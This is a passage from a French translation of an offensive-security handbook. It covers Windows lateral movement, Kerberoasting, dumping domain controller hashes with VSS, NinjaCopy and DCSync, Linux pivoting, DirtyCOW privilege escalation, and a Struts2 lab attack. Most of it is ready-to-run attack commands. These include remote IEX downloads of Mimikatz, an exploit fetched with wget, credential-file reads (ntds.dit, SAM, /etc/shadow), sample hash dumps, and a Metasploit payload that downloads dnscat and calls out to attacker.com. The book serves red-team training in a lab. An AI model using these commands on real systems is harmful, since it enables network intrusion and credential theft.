Ce ne sont là que quelques-unes des techniques les plus faciles et les plus répandues pour effectuer un mouvement latéral. Nous discuterons plus loin de certaines techniques moins courantes pour contourner le réseau. Sur la plupart des réseaux, Windows Management Instrumentation (WMI) est généralement activé car il est nécessaire pour la gestion des postes de travail. Nous pouvons donc nous servir de invoke_wmi pour nous déplacer latéralement. Puisque nous utilisons des identifiants en cache et que notre compte a accès à l’hôte distant, nous n’avons pas besoin de connaître les identifiants de l’utilisateur.
Exécution sur le système distant :
	usemodule lateral_movement/invoke_wmi

	Définir l’ordinateur que vous allez attaquer :
	set ComputerName buzz.cyberspacekittens.local



	Définir l’auditeur à utiliser :
	set Listener http



	Se connecter à distance à cet hôte et exécuter votre malware :
	execute



	Interagir avec le nouvel agent :
	agents

	interact <Nom de l’agent>



	sysinfo


Cette démarche est illustrée sur la Figure 4.33.
[image: FIGURE 4.33 : WMI et mouvement latéral.]
FIGURE 4.33 : WMI et mouvement latéral.

Mouvement latéral avec DCOM
Il y a différentes façons de se déplacer latéralement une fois sur un hôte. Si le compte compromis a accès, ou si vous êtes capable de créer des jetons avec des identifiants capturés, nous pouvons créer différents shells en utilisant WMI, PowerShell Remoting ou PSExec. Et si ces méthodes font l’objet d’une surveillance ? Il y a quelques fonctionnalités de Windows dont nous pouvons tirer profit en utilisant le modèle DCOM (Distributed Component Object Model). DCOM est une fonction Windows permettant la communication entre composants logiciels sur différents ordinateurs distants.
Vous pouvez lister toutes les applications DCOM d’une machine en utilisant la commande PowerShell (voir la Figure 4.34) :
Get-CimInstance Win32_DCOMApplication

[image: FIGURE 4.34 : Lister les applications DCOM.]
FIGURE 4.34 : Lister les applications DCOM.
Selon les recherches de @enigma0x3 (https://bit.ly/2CROb8u), il existe plusieurs objets (par exemple, ShellBrowserWindow et ShellWindows) qui permettent l’exécution à distance de code sur un hôte victime. Lorsque vous listez toutes les applications DCOM, vous allez rencontrer un objet ShellBrowserWindow avec un CLSID de C08AFD90-F2A1-11D1-8455-00A0C91F3880. Une fois cet objet identifié, nous pouvons nous servir de cette fonctionnalité pour exécuter des binaires sur un poste de travail distant tant que notre compte y a accès :
powershell
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,”buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)

Ceci n’exécutera les fichiers que localement sur le système et nous ne pouvons pas inclure de paramètres de ligne de commande dans l’exécutable (donc pas d’attaques de type cmd /k). Au lieu de cela, nous pouvons appeler des fichiers depuis des systèmes distants et les exécuter, mais notez que l’utilisateur recevra un avertissement pop-up. Dans ce cas, je suis actuellement sur l’hôte d’une victime neil.cyberspacekittens.local qui a un accès administrateur à un poste de travail distant appelé buzz. Nous allons partager un dossier sur le poste de travail de Neil et héberger notre charge utile malveillante. Ensuite, nous pouvons appeler l’objet DCOM pour exécuter notre fichier hébergé sur la machine de la victime distante (buzz).
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,”buzz.cyberspacekittens.local”))).Navigate(“\\neil.cyberspacekittens.local\Public\adobeupdate.exe”)

C’est ce qu’illustre la Figure 4.35.
[image: FIGURE 4.35 : Exécuter un fichier hébergé sur une machine victime distante.]
FIGURE 4.35 : Exécuter un fichier hébergé sur une machine victime distante.
Comme mentionné ci-dessus, une fenêtre pop-up va s’afficher sur la machine de Buzz concernant l’exécution d’un fichier distant appelé adobeupdate.exe. Même si la plupart des utilisateurs cliqueraient pour accepter l’exécution de l’application, cela pourrait nous faire prendre par la patrouille.
Ainsi, la meilleure route à prendre pour éviter ce problème serait de déplacer le fichier (quelque chose comme monter le disque de la victime) avant d’utiliser DCOM pour l’exécuter. @enigma0x3 est allé encore plus loin et a abusé DCOM avec des macros Excel. Tout d’abord, nous devons créer notre document Excel malveillant sur notre propre système, et ensuite utiliser le script PowerShell (https://bit.ly/2pzJ9GX) pour exécuter ce fichier .xls sur l’hôte victime.
Une chose à noter est qu’il existe une multitude d’autres objets DCOM qui peuvent obtenir des informations à partir de systèmes, de démarrage/arrêt de services et plus encore. Ceci fournira certainement d’excellents points de départ pour des recherches supplémentaires sur les fonctionnalités de DCOM.
Ressources :
	https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

	https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/

	https://www.cybereason.com/blog/dcom-lateral-movement-techniques




Pass-the-Hash
L’ancienne méthode du Pass-The-Hash29 (PTH) des comptes d’administration locale a commencé à disparaître dans la plupart des cas. Bien qu’elle n’ait pas complètement disparu, examinons-la rapidement. Les attaques PTH se servent des cryptages NTLM de Windows pour s’authentifier sur les systèmes, au lieu d’utiliser les identifiants de l’utilisateur. Pourquoi est-ce important ? Tout d’abord, ces cryptages sont facilement récupérables à l’aide d’outils comme Mimikatz, ils peuvent être obtenus pour les comptes locaux (ce qui nécessite un accès administrateur local), ils sont récupérables à partir d’un dump du contrôleur de domaine (pas de mots de passe en texte clair), et ainsi de suite.
L’utilisation la plus basique de PTH est l’attaque de l’administrateur local. Ceci est généralement rare à trouver car, par défaut, le compte administrateur local est désormais désactivé et de nouvelles fonctions de sécurité sont apparues, comme la solution LAPS (Local Administrator Password Solution) qui crée des mots de passe aléatoires pour chaque poste de travail. Par le passé, l’obtention du hachage du compte administrateur local sur un poste de travail était identique sur l’ensemble de l’organisation, ce qui signifiait qu’une seule compromission suffisait pour toute l’entreprise.
Bien entendu, il faut pour cela que vous soyez administrateur local sur le système, que le compte administrateur local ‘administrateur’ (ou bien ‘administrator’) soit activé et qu’il s’agisse du compte RID 50030 (c’est-à-dire le compte administrateur d’origine et non un compte administrateur local nouvellement créé).
Commande : shell net user administrateur
	Nom d’utilisateur
	Administrateur

	Nom complet
Commentaire
	Compte d’utilisateur d’administration/domaine

	Commentaires utilisateur
Code du pays ou de la région
	000 (Valeur par défaut du système)

	Compte : actif
	Oui

	Le compte expire
	Jamais




Si nous voyons que le compte est actif, nous pouvons essayer d’extraire tous les hachages de la machine locale. Rappelez-vous que ceci n’inclura aucune information sur le domaine :
	Module Empire : powershell/credentials/powerdump

	Module Metasploit : http://bit.ly/2qzsyDI


Exemple :
	(Empire: powershell/credentials/powerdump) > execute

	Job started: 93Z8PE


Sortie :
	Administrator:500: aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1:::

	Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


Nous pouvons soit utiliser Empire (credentials/mimikatz/pth), soit démarrer le psexec de confiance, soumettre nos hachages, et exécuter nos charges utiles personnalisées, comme le montre la Figure 4.36.
[image: FIGURE 4.36 : Utiliser PsExec.]
FIGURE 4.36 : Utiliser PsExec.
Comme mentionné plus haut, c’est l’ancienne façon de se déplacer latéralement, et c’est une technique devenue rare. Si vous cherchez toujours à abuser des comptes d’administrateur local, mais que vous vous trouvez dans un environnement avec LAPS (Local Administrator Password Solution), vous pouvez utiliser une paire d’outils différents pour les extraire d’Active Directory. Cela suppose que vous disposiez déjà d’un compte de type administrateur de domaine ou helpdesk privilégié :
	https://bit.ly/2J262fZ

	ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCS-AdmPwd (https://bit.ly/2J4sKUT)


C’est un excellent moyen de continuer à se déplacer latéralement sans « griller » votre compte helpdesk.

Obtenir des identifiants à partir de comptes de service
Que se passe-t-il si vous vous trouvez dans un scénario où vous êtes un utilisateur limité, que vous ne pouvez pas extraire les mots de passe de la mémoire, et que vous n’avez pas eu de chance avec les mots de passe sur le système hôte... Que faites-vous ensuite ? Une de mes attaques préférées s’appelle Kerberoasting31.
Il est bien connu que NTLM présente un certain nombre de défauts, et c’est pourquoi de nombreuses entreprises ont migré vers Kerberos. Comme nous le savons, Kerberos est une méthode sécurisée afin d’authentifier une requête pour un service dans un réseau informatique. Nous ne creuserons pas trop en ce qui concerne l’implémentation de Kerberos sous Windows. Cependant, vous devez savoir que le contrôleur de domaine agit généralement en tant que serveur d’émission de tickets. Les utilisateurs du réseau peuvent s’adresser à ce service pour obtenir leur ticket afin d’avoir accès aux ressources32.
Qu’est-ce que l’attaque Kerberoast ? En tant qu’attaquant, nous pouvons demander des tickets à Kerberos pour n’importe quel SPN (nom principal de service) d’un certain compte de service déjà ciblé. La vulnérabilité réside dans le fait que, lorsqu’un ticket de service est demandé au contrôleur de domaine, ce ticket est crypté avec le hachage NTLM de l’utilisateur du service associé. Comme n’importe quel ticket peut être demandé par n’importe quel utilisateur, cela signifie que, si nous pouvons deviner le mot de passe du hachage NTLM de l’utilisateur du service associé (qui a crypté le ticket), alors nous connaissons maintenant le mot de passe du compte du service réel. Cela peut sembler plus ou moins confus, donc prenons un exemple…
Comme nous l’avons fait auparavant, nous pouvons lister tous les services SPN. Ce sont les comptes de service pour lesquels nous allons récupérer tous les tickets Kerberos :
setspn -T cyberspacekittens.local -F -Q */*

Nous pouvons soit cibler un seul utilisateur SPN, soit soutirer tous les tickets Kerberos dans la mémoire de notre utilisateur :
	Cibler un seul utilisateur :
	powershell Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local”



	Récupérer tous les tickets utilisateur en mémoire (voir la Figure 4.37) :
	powershell Add-Type -AssemblyName System.IdentityModel; IEX (New-Object Net.WebClient).DownloadString(“https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1”) | ForEach-Object {try{New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}



	Bien sûr, vous pouvez également faire la même chose avec PowerSploit :
	https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/




[image: FIGURE 4.37 : Récupérer tous les tickets utilisateur en mémoire.]
FIGURE 4.37 : Récupérer tous les tickets utilisateur en mémoire.
En cas de succès, le résultat est que nous avons importé un ou plusieurs tickets Kerberos différents dans la mémoire de notre ordinateur victime. Nous avons maintenant besoin d’un moyen d’extraire les tickets. Pour ce faire, nous pouvons utiliser le bon vieil outil d’exportation de Mimikatz (voir la Figure 4.38) :
powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ‘”””kerberos::list /export”””’

[image: FIGURE 4.38 : Exporter les tickets avec Mimikatz.]
FIGURE 4.38 : Exporter les tickets avec Mimikatz.
Une fois les tickets exportés, ils résideront sur la machine de la victime. Nous devrons les télécharger à partir de leurs systèmes avant de pouvoir commencer à les « casser ». Rappelez-vous que les tickets sont cryptés avec le hachage NTLM du compte de service. Donc, si nous sommes capables de deviner ce hachage NTLM, nous pourrons lire le ticket, et donc connaître également le mot de passe du compte de service. La façon la plus simple de s’y prendre consiste à utiliser un outil appelé tgsrepcrack (JTR et Hashcat supportent également le « craquage » Kerberoast, dont nous parlerons dans un instant).
	Utiliser Kerberoast pour casser les tickets (voir la Figure 4.39) :
	cd /opt/kerberoast

	python tgsrepcrack.py [liste mots de passe] [tickets kirbi - *.kirbi]




[image: FIGURE 4.39 : Utiliser tgsrepcrack.]
FIGURE 4.39 : Utiliser tgsrepcrack.
Ici, le mot de passe du compte de service csk-github était ‘P@ssw0rd !’
Bien sûr, on trouve un module PowerShell dans Empire qui fait tout le travail pour nous. Il se trouve sous powerhell/credentials/invoke_kerberoast (voir la Figure 4.40) :
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

Vous pouvez afficher les résultats dans les formats John the Ripper ou même Hashcat pour casser les mots de passe. J’ai déjà rencontré quelques problèmes lors de l’exécution du script PowerShell dans de très grands environnements. La solution de secours est alors d’utiliser PowerShell et Mimikatz pour retirer tous les tickets.
[image: FIGURE 4.40 : Utiliser le module invoke_kerberoast d’Empire.]
FIGURE 4.40 : Utiliser le module invoke_kerberoast d’Empire.


Récupérer les hachages du contrôleur de domaine
Une fois que nous avons obtenu l’accès à l’administration du domaine, l’ancienne méthode pour extraire tous les hachages du DC consistait à exécuter des commandes sur le contrôleur de domaine et à utiliser des techniques de shadow volume ou de copie brute pour extraire le fichier Ntds.dit.
La technique du VSS
Puisque nous avons accès au système de fichiers et que nous pouvons exécuter des commandes sur le contrôleur de domaine, en tant qu’attaquant, nous voulons récupérer tous les hachages stockés dans le fichier Ntds.dit du domaine. Malheureusement, ce fichier est constamment lu/écrit et, même en tant que système, nous n’y avons pas accès en lecture ou en copie. Heureusement pour nous, nous pouvons profiter d’une fonctionnalité Windows appelée Volume Shadow Copy Service33 (VSS), qui va créer une copie instantanée du volume. Nous pouvons alors lire le fichier Ntds.dit à partir de cette copie et le récupérer depuis la machine. Cela inclut le vol des fichiers Ntds.dit, System, SAM et Boot Key. Enfin, nous devons effacer nos traces et supprimer l’instantané :
	C:\vssadmin create shadow /for=C:

	copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[NUM_DISQUE]\windows\ntds\ntds.dit

	copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[NUM_DISQUE]\windows\system32\config\SYSTEM .

	copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[NUM_DISQUE]\windows\system32\config\SAM.

	reg SAVE HKLM\SYSTEM c:\SYS

	vssadmin delete shadows /for= [/oldest | /all | /shadow=]



NinjaCopy
NinjaCopy (https://bit.ly/2DtUfCh) est un autre outil qui, une fois sur le contrôleur de domaine, peut être utilisé pour récupérer le fichier Ntds.dit. NinjaCopy « copie un fichier à partir d’un volume partitionné NTFS en lisant le volume brut et en analysant les structures NTFS. Cela permet de contourner les DACL (Discretionary Access Control List), de lire les verrouillages de handle et les SACL (System Access Control List). Vous devez être administrateur pour exécuter le script. Ceci peut être utilisé pour lire les fichiers SYSTEM qui sont normalement verrouillés, tels que le fichier NTDS.dit ou les ruches du registre. ».
	Invoke-NinjaCopy -Path “c:\windows\ntds\ntds.dit” -LocalDestination “c:\windows\temp\ntds.dit”



DCSync
Maintenant que nous avons passé en revue les anciennes méthodes d’extraction qui exigeaient que vous exécutiez des commandes système sur le contrôleur de domaine et que vous supprimiez généralement des fichiers sur cette machine, passons aux méthodes plus modernes. DCSync, écrit par Benjamin Delpy et Vincent Le Toux, a été introduit récemment et a changé les règles du jeu. Le concept de DCSync est qu’il se fait passer pour un contrôleur de domaine pour demander tous les hachages des utilisateurs de ce domaine. Réfléchissons une seconde. Cela signifie que, tant que vous avez des autorisations, vous n’avez pas besoin d’exécuter de commandes sur le contrôleur de domaine et vous n’avez pas à déposer de fichiers sur celui-ci.
Pour que DCSync fonctionne, il est important d’avoir les autorisations nécessaires pour extraire les hachages d’un contrôleur de domaine. Généralement limité aux groupes des administrateurs de domaine ou d’entreprise, aux contrôleurs de domaine et à toute personne ayant les autorisations de réplication des changements activées, DCSync permettra à votre utilisateur de réaliser cette attaque. Celle-ci a d’abord été développée dans Mimikatz et pouvait être exécutée avec la commande suivante :
	Lsadump::dcsync /domain:[VOTRE DOMAINE] /user:[Compte_avec_autorisations]


Encore mieux, DCSync a été intégré à des outils comme PowerShell Empire pour le rendre plus facile.
Module pour Empire :
powerhell/credentials/mimikatz/dcsync_hashdump

[image: FIGURE 4.41 : Utiliser DCSync.]
FIGURE 4.41 : Utiliser DCSync.
En observant la sortie produite par DCSync, nous voyons tous les hachages NTLM pour les utilisateurs dans Active Directory. En outre, nous notons le hachage pour le compte NTLM krbtgt, ce qui signifie que nous pouvons maintenant (ou dans les campagnes futures) effectuer des attaques dites Golden Ticket34.


Mouvement latéral via RDP sur le VPS
Dans le monde d’aujourd’hui, avec une tonne d’antivirus de nouvelle génération, exécuter WMI/PowerShell Remoting/PSExec latéralement entre ordinateurs n’est pas toujours la meilleure option. Nous constatons également que certaines organisations enregistrent toutes les invites de commande Windows. Pour contourner tout cela, il faut parfois en revenir aux bases du mouvement latéral. Le problème avec l’utilisation de serveurs virtuels VPS est qu’il ne s’agit que d’un shell sans interface graphique. Par conséquent, nous acheminerons notre trafic via ou non un proxy, ou le transférerons depuis notre hôte attaquant, à travers le VPS ou à travers nos hôtes compromis, et, finalement, nous nous déplacerons latéralement vers notre prochaine victime. Heureusement pour nous, nous pouvons utiliser des outils natifs pour accomplir la plupart de ces tâches (voir la Figure 4.42).
[image: FIGURE 4.42 : RDP et VPS.]
FIGURE 4.42 : RDP et VPS.
Tout d’abord, nous devons configurer un serveur VPS, activer les ports depuis Internet, configurer Metasploit avec PTF (Penetration Tester Framework35), et infecter notre victime initiale avec Meterpreter. Nous pourrions le faire avec Cobalt Strike ou d’autres frameworks, mais nous utiliserons ici Meterpreter.
Nous pouvons nous appuyer sur le client SSH par défaut en utilisant le transfert de port local (-L). Dans ce scénario, j’utilise mon Mac, mais cela peut aussi se faire sur un système Windows ou Linux. Nous allons nous connecter à notre VPS via SSH en utilisant notre clé SSH. Nous allons également configurer un port local, en l’occurrence 3389 (RDP36), sur notre machine attaquante pour rediriger tout trafic sur ce port vers notre VPS. Lorsque le trafic sur ce port est transféré vers notre VPS, il est alors envoyé à localhost sur le port 3389 du VPS. Finalement, nous devons configurer un port écoutant sur le port 3389 de notre VPS et configurer un transfert (ou redirection) de port à travers notre victime compromise en utilisant la fonction correspondante de Meterpreter pour effectuer un routage vers le système de notre victime.
	Infectez notre victime avec une charge utile Meterpreter.

	Faites appel à SSH à partir de notre machine attaquante et configurez le transfert de port local sur notre système d’attaque (écoute locale sur le port 3389) pour envoyer tout le trafic destiné à ce port vers le port localhost du VPS (3389).
	ssh -i key.pem ubuntu@[VPS IP] -L 127.0.0.1:3389:127.0.0.1:3389



	Configurez un transfert de port sur la session Meterpreter pour écouter le VPS sur le port 3389 et envoyez ce trafic via notre machine infectée vers le serveur de mouvement latéral suivant.
	portfwd add -l 3389 -p 3389 -r [Victime via Adresse IP RDP]



	Sur notre machine attaquante, ouvrez votre client Microsoft Remote Desktop, configurez votre connexion vers votre propre localhost – 127.0.0.1, et entrez les identifiants de la victime pour vous connecter via RDP (voir la Figure 4.43).



Pivoting sous Linux
Le pivoting sous Linux n’a pas beaucoup changé au fil des ans. Habituellement, si vous utilisez quelque chose comme dnscat2 ou Meterpreter, ils supportent tous leur propre transfert de port.
	dnscat2
	listen 127.0.0.1:9999 <IP_cible>:22



	Metasploit
	post/windows/manage/autoroute



	Metasploit Socks Proxy + Proxychains
	use auxiliary/server/socks4a



	Meterpreter
	portfwd add –l 3389 –p 3389 -r <IP_cible>




[image: FIGURE 4.43 : Accès à distance via RDP.]
FIGURE 4.43 : Accès à distance via RDP.
Si vous avez la chance d’obtenir un shell SSH, il y a un certain nombre de façons dont nous pouvons pivoter dans ce système. Comment pouvons-nous obtenir un shell SSH ? Dans de nombreux cas, une fois que nous obtenons l’inclusion de fichier local (LFI) ou l’exécution de code à distance (RCE), nous pouvons essayer d’augmenter les privilèges pour lire le fichier /etc/shadow (et le mot de passe cassé), ou encore tenter quelques trucs de style Mimikatz.
Tout comme Windows et Mimikatz, les systèmes Linux rencontrent le même problème de mots de passe stockés en texte clair. Un outil écrit par @huntergregal décharge des processus spécifiques qui ont une forte probabilité de contenir les mots de passe de l’utilisateur en texte clair. Bien que cela ne fonctionne à ce jour que sur un nombre limité de systèmes Linux, les mêmes concepts peuvent être utilisés partout. Il est possible de voir exactement quels systèmes sont concernés, et d’où les mots de passe sont récupérés, à l’adresse suivante :
https://github.com/huntergregal/mimipenguin

La Figure 4.44 illustre un petit exemple d’utilisation de mimipenguin.
[image: FIGURE 4.44 : Utiliser mimipenguin.]
FIGURE 4.44 : Utiliser mimipenguin.
Une fois que nous possédons les identifiants de nos hôtes compromis et grâce à SSH, nous pouvons créer un tunnel pour notre trafic et pivoter entre les boîtes. Au sein de SSH, nous avons quelques intéressantes fonctionnalités qui nous permettent d’effectuer cette manœuvre de pivoting :
	Configurer Dynamic Sock Proxy pour utiliser proxychains afin de faire pivoter tout notre trafic à travers notre hôte :
	ssh -D 127.0.0.1:8888 -p 22 <utilisateur>@<IP_cible>



	Transfert de port basique pour un seul port :
	ssh <utilisateur>@<IP_cible> -L 127.0.0.1:55555:<Cible_Pivoting>:80



	VPN sur SSH. Il s’agit d’une fonctionnalité impressionnante qui permet de créer un tunnel pour le trafic réseau de la couche 3 via un canal SSH établi :
	https://bit.ly/2pAQlU7





Élévation de privilèges
Pour l’essentiel, l’élévation de privilèges Linux est identique à celle de Windows. Nous recherchons des services vulnérables sur lesquels nous pouvons écrire, des mauvaises configurations de bits, des mots de passe dans des fichiers « plats », des fichiers écrivables dans le monde entier, des cronjobs (des tâches planifiées à l’avance) et, bien sûr, des problèmes de mise à jour.
En termes d’analyse efficace et efficiente d’une boîte Linux pour les problèmes d’élévation de privilèges, nous pouvons utiliser quelques outils pour faire tout le travail préparatoire à notre place.
Avant de se lancer dans des opérations d’élévation de privilèges, j’aime bien parcourir d’abord l’hôte Linux et identifier toutes les informations concernant le système. Cela inclut les utilisateurs, les services, les cronjobs, les versions de logiciels, les identifiants faibles, les autorisations de fichiers mal configurées, et ainsi de suite. Nous pouvons utiliser un outil appelé LinEnum pour faire tout le sale boulot pour nous (https://github.com/rebootuser/LinEnum). C’est ce qu’illustre la Figure 4.45.
[image: FIGURE 4.45 : Utiliser LinEnum.]
FIGURE 4.45 : Utiliser LinEnum.
Il s’agit d’un très long rapport sur tout ce que vous pourriez vouloir savoir sur le système sous-jacent, et ces informations sont très intéressantes pour les futures campagnes.
Une fois que nous obtenons des informations sur le système, nous essayons de voir si nous pouvons exploiter l’une de ces vulnérabilités. Si nous ne trouvons pas de vulnérabilités de sticky bit positionné37 ou de mauvaise configuration dans les services/cronjobs, nous passons directement aux exploits sur le système ou les applications. J’essaie de faire cela en dernier, car il y a toujours une possibilité potentielle de bloquer/bricoler la boîte.
Nous pouvons utiliser un outil appelé linux-exploit-suggester pour analyser le système hôte et identifier les correctifs manquants et les vulnérabilités. Une fois qu’une vulnérabilité est identifiée, l’outil vous fournira également un lien vers l’exploit PoC (voir la Figure 4.46) :
https://github.com/mzet-/linux-exploit-suggester

[image: FIGURE 4.46 : Utiliser linux-exploit-suggester (LES).]
FIGURE 4.46 : Utiliser linux-exploit-suggester (LES).
Maintenant, que cherchons-nous à exploiter ? C’est là que l’expérience et la pratique entrent vraiment en jeu. Dans mon labo, j’aurai un grand nombre de versions différentes de Linux configurées pour valider que ces exploits ne planteront pas le système sous-jacent. Une de mes vulnérabilités préférées dans ce scénario est Dirty COW.
DirtyCOW est « une situation de concurrence trouvée dans la façon dont le sous-système de mémoire du noyau Linux a géré la casse des mappings privés en lecture seule de la situation COW sur les accès en écriture. Un utilisateur local non privilégié pourrait utiliser cette faille pour accéder en écriture à des mappages de mémoire en lecture seule et ainsi élever ses privilèges sur le système » (https://dirtycow.ninja/).
En bref, cette vulnérabilité permet à un attaquant de passer d’un niveau d’utilisateur non privilégié à un statut root via les vulnérabilités du noyau. C’est le meilleur type d’élévation de privilèges que nous puissions demander ! Le seul problème cependant est qu’il est connu pour provoquer une panique du noyau, et nous devons donc nous assurer que nous utilisons les bonnes versions sur les bons noyaux Linux.
Tester DirtyCOW sur Ubuntu (ubuntu 14.04.1 LTS 3.13.0-32-generic x86_64) :
	Télécharger la charge utile DirtyCOW :
	wget http://bit.ly/2vdh2Ub-Odirtycow-mem.c



	Compiler la charge utile DirtyCOW :
	gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread



	Exécuter DirtyCOW pour accéder au système :
	./dirtycow-mem



	Désactiver l’écriture différée (writeback) périodique pour rendre l’exploit stable :
	echo 0 > /proc/sys/vm/dirty_writeback_centisecs



	Essaye de lire le fichier shadow :
	cat /etc/shadow





Labo de mouvement latéral Linux
Le problème avec le mouvement latéral est qu’il est difficile de le pratiquer sans avoir un environnement configuré pour pivoter. Nous vous présentons donc le labo « CSK Secure Network » (le réseau sécurisé de Cyber Space Kittens). Dans ce labo, vous allez faire du pivoting entre les boîtes, utiliser des exploits récents et privilégier les attaques d’élévation, et « vivre de la terre » dans un environnement Linux.
Configurer l’environnement virtuel
L’installation de ce labo d’environnement virtuel est légèrement complexe. Cela vient du fait que le réseau va nécessiter trois machines virtuelles statiques différentes pour fonctionner, et qu’une certaine configuration préalable est requise de votre part. Tout cela est testé dans VMWare Workstation et VMware Fusion. Donc, si vous utilisez VirtualBox, vous devrez peut-être jouer avec ses réglages.
Téléchargez les trois machines virtuelles :
http://thehackerplaybook.com/get.php?type=csk-lab

Bien que vous ne devriez pas avoir besoin de comptes root pour ces boîtes, voici le nom d’utilisateur/mot de passe, au cas où :
hacker/changeme

Les trois machines virtuelles sont configurées pour utiliser l’interface réseau NAT. Pour que ce labo fonctionne, vous devrez configurer les paramètres NAT de votre machine virtuelle dans VMWare pour utiliser le réseau 172.16.250.0/24. Pour ce faire, procédez comme ci-dessous dans VMWare Workstation :
	Dans la barre de menus, allez dans Edit -> virtual network editor -> change settings.

	Sélectionnez l’interface pour le type NAT (la mienne est VMnet8).

	Changez l’IP du sous-réseau en 172.16.250.0 et appliquez.


Sous OS X, c’est plus compliqué. Suivez ces étapes :
	Copiez le fichier dhcpd.conf original en tant que sauvegarde :
	sudo cp /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf.bakup



	Modifiez le fichier dhcpd.conf pour utiliser 172.16.250.x au lieu de 192.168.x.x.x :
	sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/dhcpd.conf



	Modifiez le fichier nat.conf pour utiliser la bonne passerelle :
	sudo vi /Library/Preferences/VMware\ Fusion/vmnet8/nat.conf
	# NAT gateway address

	ip = 172.16.250.2

	netmask = 255.255.255.0





	Redémarrez le service :
	sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --stop

	sudo /Applications/VMware\ Fusion.app/Contents/Library/services/services.sh --start




Maintenant, vous devriez pouvoir démarrer votre machine virtuelle Kali d’attaque en mode NAT, et obtenir une adresse IP DHCP dans la plage 172.16.250.0/24. Si c’est le cas, démarrez les trois autres boîtes du labo en même temps et commencez à pirater.

Attaquer le réseau sécurisé CSK
Vous avez finalement réussi à sortir de l’environnement Windows et à vous frayer un chemin dans le réseau de production sécurisé. Grâce à toutes vos reconnaissances et recherches, vous savez que tous les secrets sont stockés ici. C’est l’un de leurs réseaux les plus protégés, et nous savons qu’ils ont segmenté leur infrastructure sécurisée. D’après leur documentation, il semble qu’il y ait plusieurs réseaux locaux virtuels (VLAN) à compromettre, et vous devrez apparemment passer d’une boîte à l’autre pour accéder à la base de données de la chambre forte. C’est tout ce pour quoi vous avez été formé...
En pivotant vers l’extérieur de la zone « Secure Network », vous voyez que la plage d’adresses configurée pour cet environnement est 172.16.250.0/24. Comme vous n’en savez pas beaucoup sur ce réseau, vous commencez par lancer des scans nmap très légers. Vous devez identifier les systèmes qui sont accessibles de l’extérieur de ce réseau afin de déterminer comment vous pouvez démarrer votre attaque. Vous exécutez donc :
nmap 172.16.250.0/24

Vous remarquerez qu’il y a trois boîtes en fonction, mais qu’une seule d’entre elles a des ports Web activés. Il semble que les deux autres boîtes soient isolées de l’extérieur du réseau sécurisé, ce qui signifie que nous devrons d’abord compromettre la boîte 172.16.250.10 pour pouvoir pivoter dans les deux autres serveurs. En visitant la première boîte (172.16.250.10), vous remarquez qu’Apache Tomcat écoute sur le port 8080 et qu’un certain openCMS se trouve sur le port 80. En exécutant un programme de fuzzing Web, vous constatez que la page openCMS exécute également Apache Struts2 : /struts2-showcase (voir la Figure 4.47). Instantanément, le nom d’Equifax et du piratage massif de ses données vous revient en mémoire comme un flash. Vous vous dites que c’est trop beau pour être vrai, mais vous devez quand même vérifier. Vous lancez une recherche rapide sur msfconsole et vous testez l’exploit ‘struts2_content_type_ognl’.
[image: FIGURE 4.47 : À l’écoute du réseau.]
FIGURE 4.47 : À l’écoute du réseau.
Nous savons que CSK surveille étroitement son trafic réseau protégé, et que ses serveurs internes peuvent ne pas permettre un accès direct au réseau de l’entreprise. Pour contourner ce problème, nous allons devoir utiliser notre charge utile DNS C2 avec dnscat2 pour communiquer en UDP au lieu de TCP. Bien sûr, dans le monde réel, nous pourrions utiliser un serveur DNS faisant autorité, mais pour ce qui concerne notre laboratoire, nous serons notre propre serveur DNS.
Notre machine virtuelle personnalisée Kali devrait avoir tous les outils pour effectuer les attaques.
	Nous devons héberger notre charge utile sur un serveur Web, pour que notre charge utile Metasploit puisse récupérer le malware dnscat. Le binaire dnscat se trouve dans le dossier client dnscat2 :
	cd /opt/dnscat2/client/

	python -m SimpleHTTPServer 80



	Démarrez un serveur dnscat :
	cd /opt/dnscat2/server/

	rubis ./dnscat2.rb



	Enregistrez votre clé secrète pour dnscat (voir la Figure 4.48).


[image: FIGURE 4.48 : Enregistrer la clé secrète.]
FIGURE 4.48 : Enregistrer la clé secrète.
	Ouvrez un nouveau terminal et chargez Metasploit :
	msfconsole



	Recherchez struts2 et chargez l’exploit struts2 :
	search struts2

	use exploit/multi/http/struts2_content_type_ognl



	Configurez l’exploit struts2 pour récupérer notre charge utile dnscat et l’exécuter sur le serveur victime. N’oubliez pas de mettre à jour votre adresse IP et la clé secrète récupérée plus tôt (voir la Figure 4.49).
	set RHOST 172.16.250.10

	set RPORT 80

	set TARGETURI struts2-showcase/showcase.action

	set PAYLOAD cmd/unix/generic

	set CMD wget http://<votre_ip>/dnscat -O /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns server=attacker.com,port=53 --secret=<Votre Clé Secrète>

	run




[image: FIGURE 4.49 : Exécuter l’exploit struts2.]
